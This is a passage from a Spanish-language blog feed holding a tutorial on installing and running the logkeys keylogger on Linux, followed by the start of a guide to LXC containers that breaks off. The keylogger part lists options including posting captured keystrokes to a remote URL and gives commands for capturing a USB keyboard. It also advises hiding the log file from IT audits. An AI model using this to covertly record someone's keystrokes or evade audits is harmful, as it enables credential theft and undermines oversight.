teclado). Escribir aplicaciones para realizar &lt;i&gt;keylogging&lt;/i&gt; es trivial y, como cualquier programa computacional, puede ser distribuido a través de un &lt;a href="http://es.wikipedia.org/wiki/Troyano_%28inform%C3%A1tica%29"&gt;troyano&lt;/a&gt; o como parte de un &lt;a href="http://es.wikipedia.org/wiki/Virus_inform%C3%A1tico"&gt;virus informático&lt;/a&gt; o &lt;a href="http://es.wikipedia.org/wiki/Gusano_inform%C3%A1tico"&gt;gusano informático&lt;/a&gt;. Se dice que se puede utilizar un teclado virtual para evitar esto, ya que sólo requiere clics del &lt;a href="http://es.wikipedia.org/wiki/Rat%C3%B3n_de_ordenador"&gt;ratón&lt;/a&gt;. Sin embargo, las aplicaciones más nuevas también registran &lt;i&gt;screenshots&lt;/i&gt; (&lt;a href="http://es.wikipedia.org/wiki/Captura_de_pantalla"&gt;capturas de pantalla&lt;/a&gt;) al realizarse un click, que anulan la seguridad de esta medida.&lt;/p&gt; &lt;p style="margin-bottom: 0in" lang="es-ES"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span lang="es-ES"&gt;Entorno de trabajo: &lt;/span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in;"&gt;&lt;span lang="es-ES"&gt;&lt;span style="font-weight: bold;"&gt;Sitema Operativo: &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Slackware 13.37 x86_64, &lt;/span&gt;&lt;span lang="es-ES"&gt;Ubuntu 11.04&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span lang="es-ES"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Requerimientos&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Slackware:  g++, gcc, make.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;      Ubuntu:  build-essentials&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span lang="es-ES"&gt;&lt;span style="font-weight: bold;"&gt;NOTA: &lt;/span&gt;trabajar siempre en una terminal como usuario root.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;span lang="es-ES"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span lang="es-ES"&gt;Proceso de Instalación: &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Descarga del paquete: &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#wget &lt;a href="http://code.google.com/p/logkeys/downloads/detail?name=logkeys-0.1.1a.tar.gz&amp;amp;can=2&amp;amp;q"&gt;http://code.google.com/p/logkeys/downloads/detail?name=logkeys-0.1.1a.tar.gz&amp;amp;can=2&amp;amp;q&lt;/a&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;o ingresar a la web oficial y descargarlo: &lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;a href="http://code.google.com/p/logkeys/downloads/list"&gt;&lt;span lang="es-ES"&gt;http://code.google.com/p/logkeys/downloads/list&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Descomprimir el paquete: &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#tar xvfz logkeys-0.1.1a.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Configuración&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#cd logkeys-0.1.1&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#./configure&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span lang="es-ES"&gt;Compilación&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#make&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Instalación&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#make install&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span lang="es-ES"&gt;Como usarlo ??&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Establecer un archivo como LOG; en nuestro caso utilizaremos&lt;span style="font-style: italic;"&gt; /var/log/logkeys.txt&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#touch /var/log/logkeys.txt&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Ver las opciones que trae el logkeys para usarlas; ejecutar:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#logkeys&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;Usage: logkeys [OPTION]...&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;Log depressed keyboard keys.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;  &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;-s, --start               start logging keypresses&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;  &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;-m, --keymap=FILE         use keymap FILE&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;  &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;-o, --output=FILE         log output to FILE [/var/log/logkeys.log]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;  &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;-u, --us-keymap           use en_US keymap instead of configured default&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;  &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;-k, --kill                kill running logkeys process&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;  &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;-d, --device=FILE         input event device [eventX from /dev/input/]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;  &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;-?, --help                print this help screen&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;      &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;--export-keymap=FILE  export configured keymap to FILE and exit&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;      &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;--no-func-keys        log only character keys&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;      &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;--no-timestamps       don't prepend timestamps to log file lines&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;      &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;--post-http=URL       POST log to URL as multipart/form-data file&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;      &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;--post-size=SIZE      post log file when size equals SIZE [500k]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;          &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;logkeys -s -d event6&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;          &lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;logkeys -k&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;logkeys version: 0.1.1a&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;&lt;span style="font-weight: bold;"&gt;NOTA:&lt;/span&gt; Tener en cuenta que tipo de teclado usamos; si es Español o Ingles; en nuestro caso usaremos los dos con la diferencia que el teclado Español va a ser USB.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span lang="es-ES"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span lang="es-ES"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Correr  logkeys con la opcion de teclado Ingles: &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#logkeys -start –us-keymap –output=/var/log/logkeys.txt&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:100%;"&gt;Correr el logkeys con la opcion de teclado en español:  &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Descargar el mapa del teclado de la siguiente URL:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;a href="http://code.google.com/p/logkeys/wiki/Keymaps#Download"&gt;http://code.google.com/p/logkeys/wiki/Keymaps#Download&lt;/a&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;En nuestro caso descargamos el mapa de teclado “Español España”&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;Ejecutar:&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#logkeys --start --keymap=es.map –output=/var/log/logkeys.txt&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;LogsKeys en teclados USB.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;Actualmente este manual fue probado en los dos sistemas operativos antes nombrados; pero tenían en común un problema; cuando corría el logkeys en mi portátil y conectaba el teclado USB, no guardaba las teclas presionas por el teclado USB si no por el teclado del portátil.&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Solución:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Utilizando el siguiente comando como root, puedes detectar el dispositivo usb que quieres configurar con el logkeys, y pasarselo como una banderilla al logkeys:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#cat /dev/input&lt;span style="font-weight: bold;"&gt;X&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Donde &lt;span style="font-weight: bold;"&gt;X&lt;/span&gt; es los dispositivos que tengas en dicha carpeta /dev/input/; cuando ejecutas ese comando, y tecleas de mas … aparecen caracteres extraños como los siguientes:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;dMí¥NÌv&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Con eso, determinas cual es el teclado usb, en mi caso fue el /dev/input/event10 en los dos sistemas operativos.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Como correr entonces el logskeys con mi teclado USB ?&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#logkeys --start --keymap=es.map –output=/var/log/logkeys -d /dev/input/event10&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;El comando anterior corre un teclado USB Español, utilizando el dispositivo /dev/input/event10.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;NOTA:&lt;/span&gt; En caso de auditoria informática, no colocar el log de  logkeys en un lugar tan evidente ni con el nombre tan evidente.  &lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Gracias ... Espero les funcione !!!&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-8154072372853206960?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/8154072372853206960/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/logkeys-keylogger-en-linux.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8154072372853206960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/8154072372853206960'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/logkeys-keylogger-en-linux.html' title='LogKeys - Keylogger en Linux'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-eTxcpMX4iH4/TqXwzdDWZyI/AAAAAAAABZo/T3Gpc-B0Z_8/s72-c/keylogger.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-8635607670767335270</id><published>2011-10-23T23:18:00.000-07:00</published><updated>2011-10-23T23:58:39.175-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='lxc'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>LXC - Linux Containers</title><content type='html'>&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   PRE.cjk { font-family: "WenQuanYi Zen Hei", monospace }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none" lang="es-ES"&gt;LXC (Linux Contenedores) es un método de virtualización a nivel de sistema operativo  para ejecutar múltiples sistemas aislados Linux (contenedores) en un host de control único. LXC no proporciona una máquina virtual, sino que proporciona un entorno virtual que tiene su propio proceso y espacio en la  red.&lt;br /&gt;&lt;br /&gt;Es similar a otras tecnologías de virtualización que hay en Linux, tales como OpenVZ y Linux VServer, así como los que en otros sistemas operativos como FreeBSD Jaulas  y Solaris Containers.&lt;/p&gt; &lt;p style="text-decoration: none;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-decoration: none; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Entorno de trabajo:  &lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;span style="font-weight: bold;"&gt;Sistema Operativo = &lt;/span&gt;Ubuntu server 11.04.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p style="text-decoration: none; font-weight: bold;"&gt;&lt;span style="font-size:100%;"&gt;Instalación de LXC:&lt;/span&gt;&lt;/p&gt; &lt;p style="color: rgb(153, 0, 0);"&gt;&lt;span style="text-decoration: none;font-size:85%;" &gt;#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;apt-get install lxc vlan bridge-utils python-software-properties screen libvirt-bin debootstrap&lt;/span&gt;&lt;/p&gt;&lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Configurar la carpeta para CGROUPS&lt;/p&gt;  &lt;p style="text-decoration: none"&gt;Que son los cgroups?&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none" lang="es-ES"&gt;&lt;a name="result_box1"&gt;&lt;/a&gt; cgroups (grupos de control) es una característica del kernel Linux para limitar, cuenta y aislar el uso de recursos (CPU, memoria, disco I / O, etc) de los grupos de procesos. Este trabajo fue iniciado por Rohit Seth en 2006, bajo el "proceso de contenedores" nombre, [1] a finales de 2007 cambió su nombre a cgroups y se fusionó a la versión 2.6.24 del núcleo. Desde entonces, muchas nuevas características y los controladores han sido agregados.&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none" lang="es-ES"&gt;&lt;a href="http://en.wikipedia.org/wiki/Cgroups"&gt;Leer mas.&lt;/a&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none" lang="es-ES"&gt;&lt;br /&gt;&lt;/p&gt;   &lt;p style="text-decoration: none; font-weight: bold;"&gt;Crear el siguiente directorio:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mkdir /cgroup&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Editar el /etc/fstab, para hacer el montaje automático de los cgroups:&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#vi /etc/fstab&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;Agregar la siguiente linea:  &lt;/p&gt; &lt;pre class="western" style="text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;none /cgroup cgroup defaults 0 0&lt;/span&gt;&lt;/pre&gt;&lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="text-decoration: none; font-weight: bold;"&gt;Montar los cgroups manualmente:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mount /cgroup&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Configurar un entorno para trabajar con LXC  &lt;/span&gt;&lt;/p&gt;  &lt;p style="text-decoration: none"&gt;Se trata de crear una carpeta donde solo se trabaje lxc, donde tu puedas colocar los archivos de configuración y demás archivos pero que solo tienen que ver con lxc.&lt;/p&gt;  &lt;p style="text-decoration: none;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-decoration: none; font-weight: bold;"&gt;En este ejemplo tomaremos &lt;span&gt;/mnt/lxc,&lt;/span&gt; entonces crearmos la carpeta:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mkdir /mnt/lxc&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Luego creamos la carpeta donde van a quedar los templates de los sitemas operativos:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mkdir /mnt/lxc/os&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Luego creamos la carpeta donde colocaremos los archivos de configuración de cada maquina que vayamos a virtualizar:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mkdir /mnt/lxc/config&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Luego creamos la carpeta donde vamos a colocar los templates:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mkdir /mnt/lxc/templates&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Instalación y configuración de un template de sistema operativo:&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;LXC puede usar los templates de sistema operativo que usa OpenVZ, pueden ser descargados de la siguiente URL:  &lt;/p&gt; &lt;p style="text-decoration: none"&gt;wiki.openvz.org/Download/template/precreated&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none; font-weight: bold;"&gt;Descarga template sistema Operativo en la carpeta de templates &lt;span style="font-style: italic;"&gt;/mnt/lxc/templates&lt;/span&gt;:  &lt;/p&gt;  &lt;p style="text-decoration: none"&gt;En una terminal ejecutar:  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#cd /mnt/lxc/templates/&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#wget &lt;a href="http://download.openvz.org/template/precreated/ubuntu-11.04-x86_64.tar.gz"&gt;http://download.openvz.org/template/precreated/ubuntu-11.04-x86_64.tar.gz&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;span style="font-weight: bold;"&gt;Descomprimir el template en una carpeta descriptiva que indique que sistema operativo que es!!:&lt;/span&gt;  &lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mkdir rootfs-ubuntu-11.04&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#cd rootfs-ubuntu-11.04&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#tar xvfz ubuntu-11.04-x86_64.tar.gz&lt;/span&gt;&lt;/p&gt; &lt;p style="text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-decoration: none; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Configuración del template descargado.  &lt;/span&gt;&lt;/p&gt;  &lt;p style="text-decoration: 